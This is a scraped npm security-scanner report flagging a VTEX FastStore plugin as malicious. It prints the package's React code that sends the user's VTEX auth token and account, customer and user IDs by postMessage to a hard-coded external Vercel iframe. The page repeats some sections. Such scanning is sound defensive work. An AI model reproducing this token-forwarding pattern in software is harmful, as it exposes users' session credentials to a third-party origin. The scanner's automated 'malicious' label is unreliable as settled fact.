@vtex/faststore-plugin-buyer-portal@2.0.20: Malicious npm | LPM Firewall

Loading npm security reports…

@vtex/faststore-plugin-buyer-portal@2.0.20: Malicious npm | LPM Firewall

Source & flagged code

5 flagged · loading source

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

•Credential-bearing message sent to a fixed external iframe in src/features/b2b-[redacted].tsx: : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; const targetWindow = iframeRef.current?.contentWindow; targetWindow.postMessage( if (event.source !== iframeRef.current?.contentWindow) return; if (iframeRef.current?.contentWindow && vtexIdclientAutCookie) { <iframe

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

6const B2B_AGENT_URL = isDevelopment() ? "http://localhost:3001/app/buyer-bulk-ops-agent" : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent";

High

Ai Review Evidence

A registered buyer-organization-manager route loads a hard-coded external Vercel agent.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

50// We send only the token (not the full Cookie header) to reduce exposure. targetWindow.postMessage( { type: "AUTH_TOKEN_UPDATE", vtexIdclientAutCookie, account, locale, customerId, userId, }, agentOrigin

High

Ai Review Evidence

The iframe receives the VTEX auth token plus account, locale, customer, and user IDs via postMessage.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L50

43const agentOrigin = useMemo(() => new URL(B2B_AGENT_URL).origin, []);

High

Ai Review Evidence

The postMessage target is the external agent origin, creating runtime credential disclosure.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L43

MakefileView file

•path = Makefile kind = build_helper sizeBytes = 1132 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

MakefileView on unpkg

Source & flagged code

5 flagged

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

Lines 1-70typescript

1import { useEffect, useMemo, useRef } from "react";

2

3import { useLocalization } from "../../../shared/localization/LocalizationContext";

4import { isDevelopment } from "../../../shared/utils/environment";

5

6const B2B_AGENT_URL = isDevelopment()

7 ? "http://localhost:3001/app/buyer-bulk-ops-agent"

8 : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent";

High

Ai Review Evidence

A registered buyer-organization-manager route loads a hard-coded external Vercel agent.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

9

10interface B2BAgentLayoutProps {

11 vtexIdclientAutCookie: string;

12 account: string;

13 locale?: string;

14 customerId?: string;

15 userId?: string;

16}

17

18const containerStyle: React.CSSProperties = {

19 display: "flex",

20 flexDirection: "column",

21 width: "100%",

22 height: "100vh",

23 overflow: "hidden",

24};

25

26const iframeStyle: React.CSSProperties = {

27 flex: 1,

28 width: "100%",

29 height: "100%",

30 border: "none",

31};

32

33export const B2BAgentLayout = ({

34 vtexIdclientAutCookie,

35 account,

36 locale,

37 customerId,

38 userId,

39}: B2BAgentLayoutProps) => {

40 const { t } = useLocalization();

41 const iframeRef = useRef<HTMLIFrameElement>(null);

42

43 const agentOrigin = useMemo(() => new URL(B2B_AGENT_URL).origin, []);

High

Ai Review Evidence

The postMessage target is the external agent origin, creating runtime credential disclosure.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L43

44

45 useEffect(() => {

46 function postAuthToIframe() {

47 const targetWindow = iframeRef.current?.contentWindow;

48 if (!targetWindow) return;

49

50 // We send only the token (not the full Cookie header) to reduce exposure.

51 targetWindow.postMessage(

52 {

53 type: "AUTH_TOKEN_UPDATE",

54 vtexIdclientAutCookie,

55 account,

56 locale,

57 customerId,

58 userId,

59 },

60 agentOrigin

High

Ai Review Evidence

The iframe receives the VTEX auth token plus account, locale, customer, and user IDs via postMessage.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L50

61 );

62 }

63

64 function onMessage(event: MessageEvent) {

65 // Only accept messages coming from the iframe's origin.

66 if (event.origin !== agentOrigin) return;

67

68 // Ensure the message is from the iframe window we embedded.

69 if (event.source !== iframeRef.current?.contentWindow) return;

70

•Credential-bearing message sent to a fixed external iframe in src/features/b2b-[redacted].tsx: : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; const targetWindow = iframeRef.current?.contentWindow; targetWindow.postMessage( if (event.source !== iframeRef.current?.contentWindow) return; if (iframeRef.current?.contentWindow && vtexIdclientAutCookie) { <iframe

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

MakefileView file

•path = Makefile kind = build_helper sizeBytes = 1132 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

MakefileView on unpkg